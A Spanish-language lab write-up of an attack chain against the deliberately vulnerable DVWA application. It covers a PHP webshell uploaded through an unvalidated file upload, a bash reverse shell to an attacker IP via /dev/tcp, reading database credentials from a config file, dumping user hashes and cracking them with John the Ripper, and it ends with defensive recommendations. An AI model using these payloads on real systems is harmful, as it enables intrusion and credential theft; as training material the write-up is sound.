🧠 Información General
- Objetivo: DVWA (Damn Vulnerable Web Application)
- Tipo: Aplicación web vulnerable
- Entorno: Docker / Linux
- IP atacante: 10.0.2.15
- Puerto atacante: 4444

🎯 Objetivo
Obtener ejecución remota de comandos (RCE), acceso al sistema y extracción de credenciales.
🔍 Fase 1 – Identificación
Se identifica una funcionalidad vulnerable en la aplicación:
- Módulo: File Upload
- Nivel de seguridad: Bajo
El módulo permite la subida de archivos sin validación adecuada, lo que abre la puerta a la ejecución de código arbitrario.
💣 Fase 2 – Explotación (File Upload)
Se sube una webshell en PHP:

<?php system($_GET['cmd']); ?>
Ruta del archivo:
/hackable/uploads/shell.php
⚡ Fase 3 – Ejecución de Comandos
Acceso a la webshell desde el navegador:
http://localhost:8080/hackable/uploads/shell.php?cmd=whoami
Salida obtenida:
www.data
Resultado:
✔ Confirmación de ejecución remota de comandos (RCE)
🔥 Fase 4 – Reverse Shell
Preparación del listener en el equipo atacante:
rlwrap nc -lvnp 4444
Ejecución del payload desde la webshell:
?cmd=bash+-c+'bash+-i+>%26+/dev/tcp/10.0.2.15/4444+0>%261'
Resultado:
✔ Conexión entrante recibida
✔ Shell remota establecida
🔧 Fase 5 – Estabilización de la Shell
Debido a la ausencia de Python en el sistema comprometido:
script /dev/null -c bash
Crtl+Z
stty raw -echo;
fg
export TERM=xterm
reset
Resultado:
✔ Shell interactiva funcional
🔍 Fase 6 – Enumeración
Información del sistema comprometido:
- Usuario actual:
whoami → www-data
- Directorio de trabajo:
/var/www/html
- Sistema operativo:
Linux (contenedor Docker)
🔐 Fase 7 – Obtención de Credenciales
Archivo localizado:
/var/www/html/config/config.inc.php
Credenciales encontradas:

💣 Fase 8 – Acceso a Base de Datos
Conexión al servicio MySQL:
mysql -u app -p
Base de datos:
dvwa
Tabla relevante:
users
🔥 Fase 9 – Extracción de Hashes
Consulta ejecutada:
SELECT * FROM users;
Ejemplo de resultado:

🧠 Fase 10 – Cracking de Contraseñas
Uso de diccionario con John the Ripper:

john --format=Raw-MD5 --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Resultado:
password
⚠️ Fase 11 – Escalada de Privilegios
Intentos realizados:
su→ ❌- Búsqueda de binarios SUID → ❌
sudo→ ❌
Conclusión:
💀 No se logra escalada de privilegios (entorno Docker limitado)
🧠 Conclusiones
✔ Vulnerabilidades Explotadas
- Subida de archivos sin validación
- Ejecución remota de comandos (RCE)
- Credenciales almacenadas en texto plano
- Uso de hashes débiles (MD5)
🔥 Impacto
- Acceso remoto al sistema
- Control del servidor web
- Acceso a la base de datos
- Compromiso de credenciales
🛡️ Recomendaciones
- Validar correctamente la subida de archivos (tipo y MIME)
- Deshabilitar ejecución en directorios de subida
- Evitar almacenamiento de credenciales en texto plano
- Utilizar algoritmos de hash seguros (bcrypt, Argon2)
- Aplicar el principio de mínimo privilegio
💀 Estado Final
- ✔ Acceso como www-data
- ✔ RCE conseguido
- ✔ Credenciales comprometidas
- ❌ Sin acceso root (entorno controlado)
🚀 Nivel Técnico Alcanzado
- Web Exploitation ✔
- Reverse Shell ✔
- Post-explotación ✔
- Enumeración ✔
- Cracking de contraseñas ✔
🔥 Resultado Final
Cadena de ataque completa ejecutada con éxito.
